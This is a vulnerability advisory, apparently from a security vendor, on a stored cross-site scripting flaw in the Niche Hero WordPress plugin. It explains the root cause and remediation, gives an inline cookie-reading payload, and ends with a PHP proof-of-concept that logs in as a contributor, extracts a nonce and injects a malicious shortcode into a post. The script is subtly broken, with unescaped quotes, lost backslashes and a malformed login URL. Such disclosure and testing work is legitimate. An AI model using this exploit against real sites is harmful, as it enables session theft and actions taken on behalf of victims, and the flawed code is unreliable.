Atomic Edge analysis of CVE-2025-14145 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Niche Hero WordPress plugin, versions up to and including 1.0.5. The issue resides in the plugin’s ‘nh_row’ shortcode handler, specifically in its ‘spacing’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts into pages or posts. These scripts execute in the browsers of any user viewing the compromised content.
Atomic Edge research infers the root cause is improper neutralization of user input, consistent with CWE-79. The vulnerability description states insufficient input sanitization and output escaping for the ‘spacing’ shortcode attribute. This indicates the plugin likely directly echoes the user-supplied ‘spacing’ parameter value into the page output without adequate escaping functions like `esc_attr()` or `wp_kses()`. The exact code path is not confirmed, but the pattern matches common WordPress shortcode implementation flaws.
Exploitation requires an authenticated user with at least the Contributor role. The attacker would create or edit a post, inserting the vulnerable shortcode with a malicious payload in the ‘spacing’ attribute. For example, `[nh_row spacing=”1″ onmouseover=”alert(document.cookie)”]`. When the post is saved and later viewed by any user, the injected JavaScript executes in the victim’s browser context. The attack vector is the WordPress post editor, and the payload is stored in the database.
Remediation requires implementing proper output escaping. The plugin should escape the ‘spacing’ attribute value before output using WordPress core functions like `esc_attr()` for HTML attributes. Input sanitization should also be applied, but output escaping is the primary defense for XSS. A patch would involve modifying the shortcode callback function to ensure all dynamic data is escaped contextually.
The impact of successful exploitation is client-side code execution in the context of a logged-in user viewing the malicious page. This can lead to session hijacking, administrative actions performed on behalf of the victim, or defacement. The CVSS score of 6.4 reflects the moderate confidentiality and integrity impacts, with scope change due to the stored nature of the attack affecting multiple users.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14145 - Niche Hero | Beautifully-designed blocks in seconds <= 1.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'spacing' Shortcode Attribute
<?php
// CONFIGURATION
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id_to_edit = 123; // ID of a post the contributor can edit
// PAYLOAD: Inject JavaScript via the 'spacing' attribute.
// The payload uses an event handler to trigger when the element loads or is interacted with.
$malicious_shortcode = '[nh_row spacing="1" onload="alert('Atomic Edge XSS Test');"]';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// STEP 1: Authenticate to WordPress
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// STEP 2: Navigate to the post edit page to get a valid nonce.
// The nonce parameter name is assumed based on WordPress conventions ('_wpnonce').
$edit_post_url = 'http://example.com/wp-admin/post.php?post=' . $post_id_to_edit . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field in the post edit form.
// This is an assumption; the actual nonce field name could vary.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
die('Could not extract security nonce from edit page.');
}
$nonce = $nonce_matches[1];
// STEP 3: Update the post content with the malicious shortcode.
// Assumes the post is updated via the standard 'post.php' admin handler.
$update_url = 'http://example.com/wp-admin/post.php';
$post_data = array(
'post_ID' => $post_id_to_edit,
'content' => $malicious_shortcode . 'nnOriginal post content here.',
'_wpnonce' => $nonce,
'_wp_http_referer' => $edit_post_url,
'action' => 'editpost',
'save' => 'Update'
);
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Check for update success
if (strpos($response, 'Post updated.') !== false || strpos($response, 'View post') !== false) {
echo 'Exploit likely successful. The shortcode ' . htmlspecialchars($malicious_shortcode) . ' has been inserted into post ID ' . $post_id_to_edit . '.n';
echo 'Visit the post to trigger the XSS payload.n';
} else {
echo 'Post update may have failed. Manual verification required.n';
}
curl_close($ch);
?>